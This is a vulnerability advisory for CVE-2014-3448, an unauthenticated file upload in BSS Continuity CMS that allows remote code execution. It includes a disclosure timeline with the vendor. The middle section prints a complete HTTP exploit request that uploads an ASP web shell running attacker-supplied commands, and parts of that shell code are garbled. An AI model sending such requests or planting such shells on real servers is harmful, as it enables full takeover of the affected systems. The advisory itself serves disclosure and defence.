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Vulnerability title: Remote Code Execution Via Unauthenticated File Upload In BSS Continuity CMS

CVE: CVE-2014-3448
Vendor: BSS
Product: Continuity CMS
Affected version: 4.2.22640.0
Fixed version: N/A
Reported by: Jerzy Kramarz


The ASPX executable which is responsible for handling file upload functionality allows arbitrary files to be uploaded to any directory specified by an attacker as the file upload function does not does not verify file type or origin when processing the request.

The following request would trigger the vulnerability:

POST http://<target>:<port>/wcm/system/pages/uploadfile.aspx?dir=/upload HTTP/1.1
Host: <target>
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://<target>/wcm/system/pages/uploadfile.aspx
Cookie: WeAreAllDoomed=True;
Content-Type: multipart/form-data; boundary=---------------------------256672629917035
Content-Length: 1279

Content-Disposition: form-data; name="__VIEWSTATE" 

Content-Disposition: form-data; name="uploadFile"; filename="shell.asp" 
Content-Type: application/octet-stream

if Request.Form("submit") = "Submit" then
    Dim wshell, intReturn
    set wshell = server.createobject("")
    cmd = Request.Form("cmd")
    intReturn =, 0, True)
    Response.Write( intReturn )
    set wshell = nothing
end if

<form action=shell.asp" method="POST">
Command: <Input type="text" name="cmd"><br>
<input type="submit">
Content-Disposition: form-data; name="Upload" 

Content-Disposition: form-data; name="result" 

Content-Disposition: form-data; name="tempname" 



Complete loss of confidentiality and integrity of the affected system.


Exploit code is not required.

Vendor status:

06/11/2012 Vendor notified
08/12/2012 Initial fix released
08/12/2012 Fix confirmed as insufficient
08/12/2012 Vendor notified about insufficient fix
08/12/2012 Vendor acknowleges and looks for solution
24/10/2013 Advisory created
07/01/2014 Vendor contact attempted
16/01/2014 Vendor contact reattempted
27/01/2014 Vendor contact reattempted
19/02/2014 Vendor contact reattempted
12/05/2014 CVE obtained
20/05/2014 Published

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